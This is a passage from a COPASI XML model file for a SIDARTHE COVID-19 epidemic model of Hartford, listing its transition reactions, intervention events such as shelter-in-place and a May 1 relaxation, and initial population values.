</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_13" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_14" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_5031" name="k1" value="0.07"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_68"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_13"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_30" name="death" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_30">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:46:06Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_14" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_15" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_5025" name="k1" value="0.0517254"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_72"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_14"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_31" name="healing_I" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_31">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:46:27Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_9" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_16" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_5027" name="k1" value="0.317066"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_66"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_9"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_32" name="healing_D" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_32">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:46:56Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_11" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_16" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_5026" name="k1" value="0.317066"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_70"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_11"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_33" name="healing_A" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_33">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:47:19Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_12" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_16" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_5029" name="k1" value="0.01"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_65"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_12"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_34" name="healing_R" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_34">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:47:31Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_13" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_16" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_5032" name="k1" value="0.215651"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_69"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_13"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_35" name="healing_T" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_35">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:47:52Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_14" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_16" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_5033" name="k1" value="0.095332"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_71"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_14"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_36" name="critical_A_UCH" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_36">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-29T01:31:48Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_12" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_17" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_5067" name="k1" value="0.00821175"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_111"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_12"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_37" name="critical_R_UCH" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_37">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-29T01:31:49Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_13" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_17" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_5068" name="k1" value="0.00821175"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_111"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_13"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_38" name="death_UCH" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_38">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-29T01:31:49Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_17" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_15" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_5072" name="k1" value="0.0517254"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_72"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_17"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_39" name="healing_UCH" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_39">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-29T01:31:49Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_17" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_16" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_5074" name="k1" value="0.095332"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_71"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_17"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
</ListOfReactions>
<ListOfEvents>
<Event key="Event_10" name="Day 15" fireAtInitialTime="0" persistentTrigger="0">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Event_10">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T18:33:56Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Comment>
Shelter-in-place order, no gatherings more than 5 people
</Comment>
<TriggerExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time> > 15
</TriggerExpression>
<ListOfAssignments>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha]" targetKey="ModelValue_57">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day15x],Reference=Value>
</Expression>
</Assignment>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma]" targetKey="ModelValue_59">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day15x],Reference=Value>
</Expression>
</Assignment>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta]" targetKey="ModelValue_58">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day15x],Reference=Value>
</Expression>
</Assignment>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta]" targetKey="ModelValue_60">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day15x],Reference=Value>
</Expression>
</Assignment>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta]" targetKey="ModelValue_64">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta],Reference=InitialValue>*50
</Expression>
</Assignment>
</ListOfAssignments>
</Event>
<Event key="Event_11" name="Day 08" fireAtInitialTime="0" persistentTrigger="0">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Event_11">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-26T17:37:25Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Comment>
>50 people gatherings banned; restaurants + bars in take-out, sports events banned
</Comment>
<TriggerExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time> > 8
</TriggerExpression>
<ListOfAssignments>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha]" targetKey="ModelValue_57">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day8x],Reference=Value>
</Expression>
</Assignment>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma]" targetKey="ModelValue_59">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day8x],Reference=Value>
</Expression>
</Assignment>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta]" targetKey="ModelValue_58">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day8x],Reference=Value>
</Expression>
</Assignment>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta]" targetKey="ModelValue_60">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day8x],Reference=Value>
</Expression>
</Assignment>
</ListOfAssignments>
</Event>
<Event key="Event_12" name="Day 11" fireAtInitialTime="0" persistentTrigger="0">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Event_12">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-30T17:24:04Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<TriggerExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time> > 10
</TriggerExpression>
<ListOfAssignments>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta]" targetKey="ModelValue_64">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta],Reference=InitialValue>*20
</Expression>
</Assignment>
</ListOfAssignments>
</Event>
<Event key="Event_13" name="T peak detection" fireAtInitialTime="0" persistentTrigger="0">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Event_13">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-02T01:20:18Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<TriggerExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=Rate> < 0
</TriggerExpression>
<ListOfAssignments>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeak]" targetKey="ModelValue_103">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=Concentration>
</Expression>
</Assignment>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeaktime]" targetKey="ModelValue_104">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time>
</Expression>
</Assignment>
</ListOfAssignments>
</Event>
<Event key="Event_14" name="T no new case" fireAtInitialTime="0" persistentTrigger="0">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Event_3">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-02T01:20:18Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<TriggerExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New diagnosed],Reference=Value> < 1
</TriggerExpression>
<ListOfAssignments>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tnonew]" targetKey="ModelValue_107">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time>
</Expression>
</Assignment>
</ListOfAssignments>
</Event>
<Event key="Event_15" name="Day 19" fireAtInitialTime="0" persistentTrigger="0">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Event_2">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-30T17:24:04Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<TriggerExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time> > 18
</TriggerExpression>
<ListOfAssignments>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta]" targetKey="ModelValue_64">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta],Reference=InitialValue>*95
</Expression>
</Assignment>
</ListOfAssignments>
</Event>
<Event key="Event_16" name="Day 29" fireAtInitialTime="0" persistentTrigger="0">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Event_16">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-30T17:24:04Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<TriggerExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time> > 28
</TriggerExpression>
<ListOfAssignments>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta]" targetKey="ModelValue_64">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta],Reference=InitialValue>*150
</Expression>
</Assignment>
</ListOfAssignments>
</Event>
<Event key="Event_17" name="May 1 relaxation" fireAtInitialTime="0" persistentTrigger="0">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Event_6">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T18:33:56Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Comment>
Shelter-in-place order, no gatherings more than 5 people
</Comment>
<TriggerExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time> > 74 && <CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[ApplyRelaxationMay1],Reference=Value> == 1
</TriggerExpression>
<ListOfAssignments>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha]" targetKey="ModelValue_57">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*(1-(1-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tot_reduction],Reference=Value>)/2)
</Expression>
</Assignment>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma]" targetKey="ModelValue_59">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma],Reference=InitialValue>*(1-(1-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tot_reduction],Reference=Value>)/2)
</Expression>
</Assignment>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta]" targetKey="ModelValue_58">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta],Reference=InitialValue>*(1-(1-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tot_reduction],Reference=Value>)/2)
</Expression>
</Assignment>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta]" targetKey="ModelValue_60">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta],Reference=InitialValue>*(1-(1-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tot_reduction],Reference=Value>)/2)
</Expression>
</Assignment>
</ListOfAssignments>
</Event>
<Event key="Event_18" name="Day 47" fireAtInitialTime="0" persistentTrigger="0">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Event_18">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-26T12:54:04Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<TriggerExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time> > 46
</TriggerExpression>
<ListOfAssignments>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta]" targetKey="ModelValue_64">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta],Reference=InitialValue>*165
</Expression>
</Assignment>
</ListOfAssignments>
</Event>
<Event key="Event_19" name="Seeding" fireAtInitialTime="0" persistentTrigger="0">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Event_19">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-29T01:31:49Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<TriggerExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time> > <CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[ZeroDay],Reference=Value>
</TriggerExpression>
<ListOfAssignments>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I]" targetKey="Metabolite_9">
<Expression>
1
</Expression>
</Assignment>
</ListOfAssignments>
</Event>
</ListOfEvents>
<ListOfModelParameterSets activeSet="ModelParameterSet_0">
<ModelParameterSet key="ModelParameterSet_0" name="Initial State">
<MiriamAnnotation>
<rdf:RDF
xmlns:dcterms="http://purl.org/dc/terms/"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelParameterSet_0">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-29T11:42:36Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ModelParameterGroup cn="String=Initial Time" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6" value="0" type="Model" simulationType="time"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Compartment Sizes" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]" value="1" type="Compartment" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Species Values" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[S]" value="894014" type="Species" simulationType="reactions">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[UCH],Reference=InitialConcentration>
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E]" value="0" type="Species" simulationType="reactions"/>
